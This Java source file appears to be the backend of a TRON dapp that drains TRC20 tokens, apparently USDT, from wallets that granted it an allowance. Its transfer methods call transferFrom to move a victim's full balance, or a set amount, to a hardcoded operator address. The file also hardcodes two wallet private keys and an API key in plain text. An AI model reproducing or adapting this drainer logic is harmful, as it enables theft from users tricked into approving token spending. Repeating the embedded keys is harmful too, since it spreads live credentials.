package cc.mrbird.febs.dapp.chain;
|
|
import cc.mrbird.febs.common.contants.AppContants;
|
import cn.hutool.core.util.StrUtil;
|
import org.tron.trident.core.ApiWrapper;
|
import org.tron.trident.core.contract.Contract;
|
import org.tron.trident.core.contract.Trc20Contract;
|
|
import java.math.BigDecimal;
|
import java.math.BigInteger;
|
import java.math.RoundingMode;
|
|
/**
|
*
|
* 查询是否有多个授权
|
* https://apiasia.tronscan.io:5566/api/account/approve/list?address=TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD
|
*
|
* @author
|
* @date 2022-03-21
|
**/
|
public class TrxService {
|
|
// private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
|
// private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
|
|
private final static String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
|
private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
|
|
private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
|
private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
|
|
private Trc20Contract contract = null;
|
|
public static TrxService INSTANCE = new TrxService();
|
|
public TrxService() {
|
ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
|
|
Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
|
contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
|
}
|
|
public BigInteger allowance(String owner) {
|
return contract.allowance(owner, ADDRESS);
|
}
|
|
public BigInteger balanceOf(String address) {
|
return contract.balanceOf(address);
|
}
|
|
public BigDecimal balanceOfDecimal(String address) {
|
BigInteger chainData = balanceOf(address);
|
|
BigInteger decimals = contract.decimals();
|
BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
|
|
return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
|
}
|
|
public void transfer(String address) {
|
BigInteger balance = balanceOf(address);
|
|
contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
|
}
|
|
public String transfer(String address, BigDecimal amount) {
|
BigInteger decimals = contract.decimals();
|
BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
|
amount = amount.multiply(mul);
|
|
return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
|
}
|
|
public static void main(String[] args) {
|
System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
|
}
|
}
|